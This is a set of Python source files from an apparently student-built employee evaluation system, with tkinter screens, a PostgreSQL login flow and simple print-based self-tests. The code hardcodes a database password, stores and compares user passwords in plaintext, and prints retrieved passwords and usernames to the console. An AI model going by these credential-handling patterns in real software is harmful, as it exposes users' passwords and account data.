lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
testingRespond(tmprespond, targetemployee)
def viewpayroll():
res = "Your payroll is: " + get_payroll()
lbl3.configure(text=res)
testingPayroll()
def viewratings():
res = "Your rating is: " + get_ratings()
lbl4.configure(text=res)
testingRatings()
def setHours():
global payroll
workinghours = txt5.get()
if workinghours.replace('.','',1).isdigit():
window1 = Tk()
window1.title("Input successful")
window1.geometry('300x200')
lbl1_1 = Label(window1, text="System received your working hours.")
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Please wait for approval.")
lbl1_2.grid(column=0, row=1)
lbl1_2 = Label(window1, text="Your working hours this month is: " + workinghours + "hours")
lbl1_2.grid(column=0, row=2)
payroll = float(workinghours) * 150
elif workinghours == "":
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Please type in only numbers.")
lbl1_1.grid(column=0, row=0)
testingSetHours(workinghours)
def get_payroll():
return str(payroll)
def get_ratings():
return ratings
def execute(): #do sth
testExecution()
def testingComment(x, y):
if x == "TestingComment" and y == "2":
print("comment functionality test succeeded!")
else:
print("comment functionality test failed!")
def testingRespond(x, y):
if x == "TestingRespond" and y == "1":
print("comment functionality test succeeded!")
else:
print("comment functionality test failed!")
def testingPayroll():
if get_payroll() == "8000":
print("view payroll functionality test succeeded!")
else:
print(get_payroll())
print("view payroll functionality test failed!")
def testingRatings():
if get_ratings() == "YOU SUCK":
print("view ratings functionality test succeeded!")
else:
print("view ratings functionality test failed!")
def testingSetHours(hours):
if hours == "40":
print("Set hours functionality test succeeded!")
else:
print("Set hours functionality test failed!")
def testExecution():
root = Toplevel()
hrsystemui(root).pack(fill="both", expand=True)
root.mainloop()
#if execution == "Employee xxx is fired":
# print("Execution functionality test succeeded!")
#else:
# print("Execution functionality test failed!")
if __name__ == "__main__":
root = Tk()
window = Tk()
window.title("HRDepartmentUI")
window.geometry('700x450')
lbl1 = Label(window, text="Write comment")
lbl1.grid(column=0, row=0)
txt1 = Text(window,width=40,height=10)
txt1.grid(column=1, row=0)
txt1.focus()
btn1 = Button(window, text="Send Comment", command=writecomment)
btn1.grid(column=3, row=0)
combo1 = Combobox(window)
combo1['values'] = (1, 2, 3, 4, 5, "Text")
combo1.current(0) # set the selected item
combo1.grid(column=2, row=0)
lbl2 = Label(window, text="Write respond")
lbl2.grid(column=0, row=1)
txt2 = Text(window,width=40,height=10)
txt2.grid(column=1, row=1)
btn2 = Button(window, text="Send Respond", command=writerespond)
btn2.grid(column=3, row=1)
combo2 = Combobox(window)
combo2['values'] = (1, 2, 3, 4, 5, "Text")
combo2.current(0) # set the selected item
combo2.grid(column=2, row=1)
btn3 = Button(window, text="View Payroll", command=viewpayroll)
btn3.grid(column=1, row=2)
lbl3 = Label(window, text="Your payroll is: ")
lbl3.grid(column=0, row=2)
btn4 = Button(window, text="View Ratings", command=viewratings)
btn4.grid(column=1, row=3)
lbl4 = Label(window, text="Your rating is: ")
lbl4.grid(column=0, row=3)
lbl5 = Label(window, text="Your working hours: ")
lbl5.grid(column=0, row=4)
txt5 = Entry(window, width=40)
txt5.grid(column=1, row=4)
btn5 = Button(window, text="Set hours:", command=setHours)
btn5.grid(column=2, row=4)
btn6 = Button(window, text="Execute Decisions", command=execute)
btn6.grid(column=2, row=5)
window.mainloop()<file_sep>/UI/SeniorManagerUI.py
from tkinter import *
from tkinter.ttk import *
import hrSystem
payroll = 1000000;
ratings = "YOU ARE THE BOSS"
comment = ""
respond = ""
workinghours = 0
decision_exists = False
decision = "Bazinga"
employeeID = 0000
def writecomment():
tmpcomment = txt1.get("1.0", "end-1c")
targetemployee = combo1.get()
if tmpcomment != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your comment to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your comment is: " + tmpcomment)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
testingComment(tmpcomment, targetemployee)
def writerespond():
tmprespond = txt2.get("1.0", "end-1c")
targetemployee = combo2.get()
if tmprespond != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your respond to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your respond is: " + tmprespond)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
testingRespond(tmprespond, targetemployee)
def viewpayroll():
res = "Your payroll is: " + get_payroll()
lbl3.configure(text=res)
testingPayroll()
def viewratings():
res = "Your rating is: " + get_ratings()
lbl4.configure(text=res)
testingRatings()
def clicked5():
decision = txt5.get("1.0", "end-1c")
testingDecision(decision)
def get_payroll():
return str(payroll)
def get_ratings():
return ratings
def testingComment(x, y):
if x == "TestingComment" and y == "2":
print("comment functionality test succeeded!")
else:
print("comment functionality test failed!")
def testingRespond(x, y):
if x == "TestingRespond" and y == "1":
print("comment functionality test succeeded!")
else:
print("comment functionality test failed!")
def testingPayroll():
if get_payroll() == "1000000":
print("view payroll functionality test succeeded!")
else:
print(get_payroll())
print("view payroll functionality test failed!")
def testingRatings():
if get_ratings() == "YOU ARE THE BOSS":
print("view ratings functionality test succeeded!")
else:
print("view ratings functionality test failed!")
def testingDecision(decision):
if decision == "Testing Decision":
print("Making Decision functionality test succeeded!")
else:
print("Making Decision functionality test failed!")
if __name__ == "__main__":
window = Tk()
window.title("SeniorManagerUI")
window.geometry('600x400')
lbl1 = Label(window, text="Write comment")
lbl1.grid(column=0, row=0)
txt1 = Text(window,width=40,height=10)
txt1.grid(column=1, row=0)
txt1.focus()
btn1 = Button(window, text="Send Comment", command=writecomment)
btn1.grid(column=3, row=0)
combo1 = Combobox(window)
combo1['values'] = (1, 2, 3, 4, 5, "Text")
combo1.current(0) # set the selected item
combo1.grid(column=2, row=0)
lbl2 = Label(window, text="Write respond")
lbl2.grid(column=0, row=1)
txt2 = Text(window,width=40,height=10)
txt2.grid(column=1, row=1)
btn2 = Button(window, text="Send Respond", command=writerespond)
btn2.grid(column=3, row=1)
combo2 = Combobox(window)
combo2['values'] = (1, 2, 3, 4, 5, "Text")
combo2.current(0) # set the selected item
combo2.grid(column=2, row=1)
btn3 = Button(window, text="View Payroll", command=viewpayroll)
btn3.grid(column=1, row=2)
lbl3 = Label(window, text="Your payroll is: ")
lbl3.grid(column=0, row=2)
btn4 = Button(window, text="View Ratings", command=viewratings)
btn4.grid(column=1, row=3)
lbl4 = Label(window, text="Your rating is: ")
lbl4.grid(column=0, row=3)
lbl5 = Label(window, text="Create Decision: ")
lbl5.grid(column=0, row=4)
btn5 = Button(window, text="Create Decision", command=clicked5)
btn5.grid(column=2, row=4)
txt5 = Text(window,width=40,height=10)
txt5.grid(column=1, row=4)
window.mainloop()<file_sep>/hrSystem.py
class CompanyUser:
def __init__(self, name, number, department, job, title):
self.name = name
self.number = number
self.department = department
self.job = job
self.title = title
self.message = "Inbox"
def set_name(self, name):
self.name = name
def set_number(self, number):
self.number = number
def set_department(self, department):
self.department = department
def set_job(self, job):
self.job = job
def set_title(self, title):
self.title = title
def get_name(self):
return self.name
def get_number(self):
return self.number
def get_department(self):
return self.department
def get_job(self):
return self.job
def get_title(self):
return self.title
def get_inbox(self):
return self.message
def __str__(self):
return "Name: " + self.name + "\n" + " ID Number " + self.number + "\n" + " Department " + self.department + "\n" + " Job " + self.job + "\n" + " Title " + self.title
def give_comments(self, employee, content):
employee.receive_message(content)
return "Comment has been delivered"
def receive_message(self, content):
self.message = self.message + "\n" + content
class SeniorManager(CompanyUser):
def __init__(self, name, number, department, title):
self.name = name
self.number = number
self.department = department
self.job = "Senior Manager"
self.title = title
self.message = "Inbox"
class DepartmentManager(CompanyUser):
def __init__(self, name, number, department, title):
self.name = name
self.number = number
self.department = department
self.job = "Department Manager"
self.title = title
self.message = "Inbox"
class Staff(CompanyUser):
def __init__(self, name, number, department, title):
self.name = name
self.number = number
self.department = department
self.job = "Staff"
self.title = title
self.message = "Inbox"
<file_sep>/tttt.py
import tkinter as tk
import hrSystem
from tkinter import ttk
import numpy as np
class hrsystemui(tk.Tk):
def __init__(self):
super().__init__()
self.title("User record")
self.geometry("480x450")
# create a prompt, an input box, an output label,
# and a button to do the computation
self.name = tk.Label(self, text="Enter a name:", anchor="w")
self.entryname = tk.Entry(self)
self.id = tk.Label(self, text="Enter a ID:", anchor="w")
self.entryid = tk.Entry(self)
self.department = tk.Label(self, text="Enter a department:", anchor="w")
self.entrydepartment = tk.Entry(self)
self.job = tk.Label(self, text="Select a job type:", anchor="w")
self.comvalue = tk.StringVar()
self.comboxlist = ttk.Combobox(self, textvariable=self.comvalue)
self.comboxlist["values"] = ("Staff", "Department Manager", "Senior Manager")
self.comboxlist.current(0)
self.title = tk.Label(self, text="Enter a title:", anchor="w")
self.entrytitle = tk.Entry(self)
self.submit = tk.Button(self, text="submit", command = self.action)
self.show = tk.Button(self, text="show the list", command = self.showList)
self.deleteUser = tk.Button(self, text="delete user", command = self.deletUser)
self.amend = tk.Button(self, text="promotion/demotion", command=self.amend)
self.output = tk.Label(self, text="")
self.flag = np.array("")
self.list = np.array("")
self.result = ""
self.win=""
self.deleteWin=""
self.deleteid=""
self.deleteWin=""
self.amendWin=""
self.namelist=tk.Label(self, text="")
# lay the widgets out on the screen.
self.name.pack(side="top", fill="x")
self.entryname.pack(side="top", fill="x", padx=20)
self.id.pack(side="top", fill="x")
self.entryid.pack(side="top", fill="x", padx=20)
self.department.pack(side="top", fill="x")
self.entrydepartment.pack(side="top", fill="x", padx=20)
self.job.pack(side="top", fill="x")
self.comboxlist.pack(side="top", fill="x", padx=20)
self.title.pack(side="top", fill="x")
self.entrytitle.pack(side="top", fill="x", padx=20)
self.output.pack(side="top", fill="x", expand=True)
self.submit.pack(side="right")
self.deleteUser.pack(side="right")
self.amend.pack(side="right")
self.show.pack(side="left")
def action(self):
# get the value from the input widget, convert
# it to an int, and do a calculation
if self.comboxlist.get()=="Staff":
self.flag=np.append(self.flag, [hrSystem.Staff(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(), self.entrytitle.get())])
if self.comboxlist.get()=="Department Manager":
self.flag=np.append(self.flag, [hrSystem.DepartmentManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(), self.entrytitle.get())])
if self.comboxlist.get()=="Senior Manager":
self.flag=np.append(self.flag, [hrSystem.SeniorManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(), self.entrytitle.get())])
self.result = self.result+"\n"+"\n"+self.flag[1].__str__()
self.list = np.append(self.list,self.flag[1])
self.output.configure(text=self.flag[1].__str__()+"\n has been saved")
self.flag = np.delete(self.flag,1)
def showList(self):
super().__init__()
self.result = ""
for i in range(self.list.size):
self.result = self.result + "\n"+"\n"+self.list[i].__str__()
from tkinter import scrolledtext
win = tk.Toplevel()
txt = scrolledtext.ScrolledText(win)
win.title("Name List")
win.geometry("240x225")
txt.insert(tk.INSERT,self.result)
txt.pack()
win.mainloop()
def deletUser(self):
super().__init__()
self.deleteWin = tk.Toplevel()
self.deleteWin.title("Delete User")
id = tk.Label(self.deleteWin, text="Enter an ID:", anchor="w")
idEntry = tk.Entry(self.deleteWin)
deletebutton = tk.Button(self.deleteWin, text="delete user", command = self.deletUserExecution)
id.pack(side="top", fill="x")
idEntry.pack(side="top", fill="x", padx=20)
deletebutton.pack(side="bottom")
self.deleteid = idEntry
self.deleteWin.mainloop()
def amend(self):
super().__init__()
self.amendWin = tk.Toplevel()
self.amendWin.title("Promotion/Demotion")
name = tk.Label(self.amendWin, text="Enter the name:", anchor="w")
nameEntry = tk.Entry(self.amendWin)
department = tk.Label(self.amendWin, text="Enter the department (enter the new one if changed):", anchor="w")
departmentEntry = tk.Entry(self.amendWin)
id = tk.Label(self.amendWin, text="Enter the ID:", anchor="w")
idEntry = tk.Entry(self.amendWin)
title = tk.Label(self.amendWin, text="Enter the new title:", anchor="w")
titleEntry = tk.Entry(self.amendWin)
newJob = tk.Label(self.amendWin, text="Enter the new job:", anchor="w")
jobvalue = tk.StringVar()
job = ttk.Combobox(self.amendWin, textvariable=jobvalue)
job["values"] = ("Staff", "Department Manager", "Senior Manager")
executebutton = tk.Button(self.amendWin, text="Execution", command = self.amendation)
name.pack(side="top", fill="x")
nameEntry.pack(side="top", fill="x", padx=20)
department.pack(side="top", fill="x")
departmentEntry.pack(side="top", fill="x", padx=20)
id.pack(side="top", fill="x")
idEntry.pack(side="top", fill="x", padx=20)
title.pack(side="top", fill="x")
titleEntry.pack(side="top", fill="x", padx=20)
newJob.pack(side="top", fill="x")
job.pack(side="top", fill="x", padx=20)
executebutton.pack(side="bottom")
self.entryname = nameEntry
self.entryid = idEntry
self.deleteid = idEntry
self.entrydepartment = departmentEntry
self.entrytitle = titleEntry
self.comboxlist = job
self.amendWin.mainloop()
def deletUserExecution(self):
flag = ""
for i in range(1, self.list.size):
if self.list[i].get_number() == self.deleteid.get():
if self.deleteWin != "":
self.deleteWin.destroy()
flag = i
if flag != "":
self.list=np.delete(self.list,flag,axis=0)
def amendation(self):
self.deletUserExecution()
self.action()
self.amendWin.destroy()
# set the output widget to have our result
# if this is run as a program (versus being imported),
# create a root window and an instance of our example,
# then start the event loop
if __name__ == "__main__":
root = hrsystemui()
root.mainloop()<file_sep>/README.md
# EPES
EECS 393 Software Engineering Project: Employee Performance Evaluation System
Tested on MacOS/Linux Operating Systems
Software Requirements: python3, postgreSQL
Library Requirements: tkinter, psycopg2
\run in UI folder with using command: python3 newMainUI.py\
<file_sep>/UI/newMainUI.py
import tkinter as tk
from tkinter import *
from tkinter.ttk import *
from tkinter import ttk
import psycopg2
import hrSystem
import numpy as np
import pandas as pd
import csv
import os
class newMainUI():
def __init__(self, master):
# database connection setup
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
cur.execute(
"Select e.name, l.username from employee e, login_information l where l.employee_id = e.employee_id")
rows = cur.fetchall()
print("\n Login Usernames:\n")
for row in rows:
print(" ", row[0], ":", row[1])
# create a prompt, an input box, an output label,
# and a button to do the computation
self.master = master
self.username = ""
self.password = ""
self.frame = tk.Frame(self.master)
# username label and entry
self.username = tk.Label(self.frame, text="Username", anchor="w")
self.entryun = tk.Entry(self.frame)
# password label and entry
self.password = tk.Label(self.frame, text="Password:", anchor="w")
self.entrypw = tk.Entry(self.frame)
# login button
self.login = tk.Button(self.frame, text="Login", command=self.login)
self.quit = tk.Button(self.frame, text="Quit", command=self.close_window)
# new user button
self.newuser = tk.Button(self.frame, text="New user", command=self.new_user)
# packing labels, entries and buttons
self.username.pack(side="top", fill="x")
self.entryun.pack(side="top", fill="x", padx=20)
self.password.pack(side="top", fill="x")
self.entrypw.pack(side="top", fill="x", padx=20)
self.login.pack(side="right")
self.quit.pack(side="left")
self.newuser.pack(side="right")
self.frame.pack()
# database
self.employeeID = ""
def login(self):
# database connection setup
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
loginSql = ("select l.password, l.employee_id, e.name from login_information l, employee e where l.employee_id = e.employee_id AND l.username = %s")
loginValues = str(self.entryun.get())
cur.execute(loginSql, [loginValues])
rows = cur.fetchall()
for row in rows:
print(" ", row[0])
userPass = row[0]
self.employeeID = row[1]
userName = row[2]
if (self.entrypw.get() == userPass):
print("Sucessful login")
window1 = Tk()
window1.title("Login")
window1.geometry('200x75')
lbl1_1 = Label(window1, text="Login Successful")
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Welcome to EPES " + userName)
lbl1_2.grid(column=0, row=1)
# find role title to display UI
roleSql = ("select r.title from employee e, role r where e.employee_id = %s AND r.role_id = e.role")
roleValues = self.employeeID
cur.execute(roleSql, [roleValues])
rows = cur.fetchall()
print("\n " + roleValues + "'s title: ")
for row in rows:
print(" ", row[0])
employeeTitle = row[0]
if "Human" in employeeTitle:
self.newWindow = tk.Toplevel(self.master)
self.newWindow.title("HR Department")
self.app = HRDepartmentUI(self.newWindow, self.employeeID)
root.withdraw()
elif "Senior" in employeeTitle:
self.newWindow = tk.Toplevel(self.master)
self.newWindow.title("Senior Manager")
self.app = SeniorManagerUI(self.newWindow, self.employeeID)
root.withdraw()
elif "Staff" in employeeTitle:
self.newWindow = tk.Toplevel(self.master)
self.newWindow.title("Department Staff")
self.app = departmentStaffUI(self.newWindow, self.employeeID)
root.withdraw()
elif "Manager" in employeeTitle:
self.newWindow = tk.Toplevel(self.master)
self.newWindow.title("Department Manager")
self.app = departmentManagerUI(self.newWindow, self.employeeID)
root.withdraw()
else:
print("Login failed")
def close_window(self):
root.withdraw()
def HRpage(self, eid):
self.newWindow = tk.Toplevel(self.master)
self.newWindow.title("User Record")
self.app = hrsystemui(self.newWindow, eid)
def new_user(self):
window = Tk()
window.title("New User")
window.geometry('400x200')
ID_label = Label(window, text="Provide your ID:")
ID_entry = Entry(window)
name_label = Label(window, text="Provide your name:")
name_entry = Entry(window)
create_un_label = Label(window, text="Create your username:")
create_pw_label = Label(window, text="Create your password:")
un_entry = Entry(window)
pw_entry = Entry(window)
def save():
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
newID = ID_entry.get()
newName = name_entry.get()
username = un_entry.get()
password = pw_entry.get()
try: # Connect to database here, create new user allowed if ID exists
newUserSql = ("insert into employee (employee_id, name, department, role, salary) VALUES (%s, %s, %s, %s, %s)")
newUserValues = [newID, newName, "TEMPDEPT", "TEMPROLE", "TEMPSALARY"]
cur.execute(newUserSql, newUserValues)
conn.commit()
newUserLoginSql = ("insert into login_information (username, password, employee_id) VALUES (%s, %s, %s)")
newUserLoginValues = [username, password, newID]
cur.execute(newUserLoginSql, newUserLoginValues)
conn.commit()
window1 = Tk()
window1.title("New User Added")
window1.geometry('200x50')
lbl1_1 = Label(window1, text="User: "+newID+" added")
lbl1_1.grid(column=0, row=0)
except:
window1 = Tk()
window1.title("User Failure")
window1.geometry('200x50')
lbl1_1 = Label(window1, text="New user not created")
lbl1_1.grid(column=0, row=0)
save = Button(window, text="Save", command=save)
ID_label.grid(column=0, row=0)
ID_entry.grid(column=1, row=0)
name_label.grid(column=0, row=1)
name_entry.grid(column=1, row=1)
create_un_label.grid(column=0, row=2)
create_pw_label.grid(column=1, row=2)
un_entry.grid(column=0, row=3)
pw_entry.grid(column=1, row=3)
save.grid(column=1, row=4)
class HRDepartmentUI:
def __init__(self, master, eid):
# create a prompt, an input box, an output label,
# and a button to do the computation
self.master = master
self.frame = tk.Frame(self.master)
self.payroll = 0
self.ratings = ""
# Database
self.employeeID = eid
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get employee ids from database to populate dropdown
eidSql = ("select employee_id from employee")
cur.execute(eidSql)
rows = cur.fetchall()
self.employeeIDs = []
for row in rows:
self.employeeIDs.append(row[0])
# Comment
self.commentlabel = tk.Label(self.frame, text="Write comment:", anchor="w")
self.comvalue = tk.StringVar()
self.comboxlist = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist["values"] = (self.employeeIDs)
self.comboxlist.current(0)
self.commententry = tk.Text(self.frame, width=40, height=10)
self.sendcomment = tk.Button(self.frame, text="Send comments", command=self.writecomment)
# Respond
self.respondlabel = tk.Label(self.frame, text="Write response:", anchor="w")
self.comvalue_2 = tk.StringVar()
self.comboxlist_2 = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist_2["values"] = (self.employeeIDs)
self.comboxlist_2.current(0)
self.respondentry = tk.Text(self.frame, width=40, height=10)
self.sendrespond = tk.Button(self.frame, text="Send response", command=self.writerespond)
# View Payroll
self.payrolllabel = tk.Label(self.frame, text="Check monthly payroll:", anchor="w")
self.viewpayroll = tk.Button(self.frame, text="View Payroll", command=self.view_payroll)
# View Rating
self.ratingslabel = tk.Label(self.frame, text="Check ratings:", anchor="w")
self.viewratings = tk.Button(self.frame, text="View Ratings", command=self.view_ratings)
# Set Hours
self.sethourslabel = tk.Label(self.frame, text="Set working hours:", anchor="w")
self.hoursentry = tk.Entry(self.frame)
self.sethours = tk.Button(self.frame, text="Set Hours", command=self.set_hours)
self.execution = tk.Button(self.frame, text="Read Decision", command=self.execution)
# Logout
self.logoutButton = tk.Button(self.frame, text="Logout", command=self.logout)
self.commentlabel.grid(column=0, row=0)
self.comboxlist.grid(column=0, row=1)
self.commententry.grid(column=0, row=2)
self.sendcomment.grid(column=0, row=3)
self.respondlabel.grid(column=1, row=0)
self.comboxlist_2.grid(column=1, row=1)
self.respondentry.grid(column=1, row=2)
self.sendrespond.grid(column=1, row=3)
self.payrolllabel.grid(column=0, row=4)
self.viewpayroll.grid(column=1, row=4)
self.ratingslabel.grid(column=0, row=5)
self.viewratings.grid(column=1, row=5)
self.sethourslabel.grid(column=0, row=6)
self.hoursentry.grid(column=1, row=6)
self.sethours.grid(column=2, row=6)
self.execution.grid(column=0, row=7)
self.logoutButton.grid(column=0, row=8)
self.frame.pack()
def writecomment(self):
tmpcomment = self.commententry.get("1.0", "end-1c")
targetemployee = self.comboxlist.get()
if targetemployee != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your comment to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your comment is: " + tmpcomment)
lbl1_2.grid(column=0, row=1)
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# insert new report into database
insertReportSql = ("insert into rating_report (rating_report_id, report, reportee, reporter) VALUES (%s, %s, %s, %s)")
import time
cur.execute(insertReportSql, [time.strftime("%y"+targetemployee+"%m%d"+self.employeeID), tmpcomment, targetemployee, self.employeeID])
conn.commit()
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
def writerespond(self):
tmprespond = self.respondentry.get("1.0", "end-1c")
targetemployee = self.comboxlist_2.get()
if tmprespond != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x200')
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
getReportSql = ("select rr.rating_report_id from rating_report rr where rr.reporter = %s")
cur.execute(getReportSql, [targetemployee])
report_id = ""
rows = cur.fetchall()
for row in rows:
report_id = row[0]
insertCommentSql = ("insert into rating_comment (rating_comment_id, comment, rating_report_id) VALUES (%s, %s, %s)")
import time
cur.execute(insertCommentSql, [time.strftime("%y"+targetemployee+"%m%d"+self.employeeID), tmprespond, report_id])
conn.commit()
lbl1_1 = Label(window1, text="System received your response to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your response is: " + tmprespond)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
def view_payroll(self):
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
payrollSql = ("select s.wage, s.bonus, w.hours from work_day w, salary s, employee e where e.salary = s.salary_id AND w.employee_id = e.employee_id AND w.employee_id = %s")
cur.execute(payrollSql, [self.employeeID])
rows = cur.fetchall()
payroll = 0
for row in rows:
payroll += (row[0] + row[1]) * row[2]
self.payrolllabel.configure(text="Your payroll is: " + str(payroll))
def view_ratings(self):
global ratings
ratings = "test"
window1 = Tk()
window1.title("Check Ratings")
window1.geometry('400x100')
lbl1_1 = Label(window1, text="Your ratings:")
lbl1_1.grid(column=0, row=0)
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
ratingSql = ("select rr.reporter, rr.report, rr.rating_report_id from rating_report rr where rr.reportee= %s")
cur.execute(ratingSql, [self.employeeID])
rows = cur.fetchall()
ratings = ""
for row in rows:
try:
commentSql = ("select comment from rating_comment where rating_report_id = %s")
cur2=conn.cursor()
cur2.execute(commentSql, [row[2]])
comments = cur2.fetchall()
comment = ""
for com in comments:
comment = com[0]
ratings += "\nFrom "+row[0] +": \t" +row[1] + "\n\t Response: " + comment
except:
ratings += "\nFrom "+row[0] +": \t" +row[1]
lbl1_2 = Label(window1, text=" " + ratings)
lbl1_2.grid(column=0, row=1)
def set_hours(self):
workinghours = self.hoursentry.get()
if workinghours.replace('.', '', 1).isdigit():
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
#getSalarySql = ("select wage
insertHoursSql = ("insert into work_day (day, employee_id, hours) VALUES (%s, %s, %s)")
import time
try:
cur.execute(insertHoursSql, [time.strftime("%Y-%m-%d"),self.employeeID, workinghours])
conn.commit()
window1 = Tk()
window1.title("Input successful")
window1.geometry('300x200')
lbl1_1 = Label(window1, text="System received your working hours.")
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Please wait for approval.")
lbl1_2.grid(column=0, row=1)
lbl1_2 = Label(window1, text="You have worked: " + workinghours + " hours today")
lbl1_2.grid(column=0, row=2)
except:
window1 = Tk()
window1.title("Input failed")
window1.geometry('100x200')
lbl1_1 = Label(window1, text="Input error or time already entered today")
lbl1_1.grid(column=0, row=0)
elif workinghours == "":
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Please type in only numbers.")
lbl1_1.grid(column=0, row=0)
def execution(self):
newMainUI.HRpage(self.master, self.employeeID)
# need something
def logout(self):
root.deiconify()
self.master.destroy()
class departmentStaffUI:
def __init__(self, master, eid):
# create a prompt, an input box, an output label,
# and a button to do the computation
self.master = master
self.frame = tk.Frame(self.master)
self.payroll = 0
self.ratings = ""
# Database
self.employeeID = eid
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get employee ids from database to populate dropdown
eidSql = ("select employee_id from employee")
cur.execute(eidSql)
rows = cur.fetchall()
self.employeeIDs = []
for row in rows:
self.employeeIDs.append(row[0])
# Comment
self.commentlabel = tk.Label(self.frame, text="Write comment:", anchor="w")
self.comvalue = tk.StringVar()
self.comboxlist = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist["values"] = (self.employeeIDs)
self.comboxlist.current(0)
self.commententry = tk.Text(self.frame, width=40, height=10)
self.sendcomment = tk.Button(self.frame, text="Send comments", command=self.writecomment)
# Respond
self.respondlabel = tk.Label(self.frame, text="Write response:", anchor="w")
self.comvalue_2 = tk.StringVar()
self.comboxlist_2 = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist_2["values"] = (self.employeeIDs)
self.comboxlist_2.current(0)
self.respondentry = tk.Text(self.frame, width=40, height=10)
self.sendrespond = tk.Button(self.frame, text="Send response", command=self.writerespond)
# View Payroll
self.payrolllabel = tk.Label(self.frame, text="Check monthly payroll:", anchor="w")
self.viewpayroll = tk.Button(self.frame, text="View Payroll", command=self.view_payroll)
# View Rating
self.ratingslabel = tk.Label(self.frame, text="Check ratings:", anchor="w")
self.viewratings = tk.Button(self.frame, text="View Ratings", command=self.view_ratings)
# Set Hours
self.sethourslabel = tk.Label(self.frame, text="Set working hours:", anchor="w")
self.hoursentry = tk.Entry(self.frame)
self.sethours = tk.Button(self.frame, text="Set Hours", command=self.set_hours)
self.execution = tk.Button(self.frame, text="Execute", command=self.execution)
# Logout
self.logoutButton = tk.Button(self.frame, text="Logout", command=self.logout)
self.commentlabel.grid(column=0, row=0)
self.comboxlist.grid(column=0, row=1)
self.commententry.grid(column=0, row=2)
self.sendcomment.grid(column=0, row=3)
self.respondlabel.grid(column=1, row=0)
self.comboxlist_2.grid(column=1, row=1)
self.respondentry.grid(column=1, row=2)
self.sendrespond.grid(column=1, row=3)
self.payrolllabel.grid(column=0, row=4)
self.viewpayroll.grid(column=1, row=4)
self.ratingslabel.grid(column=0, row=5)
self.viewratings.grid(column=1, row=5)
self.sethourslabel.grid(column=0, row=6)
self.hoursentry.grid(column=1, row=6)
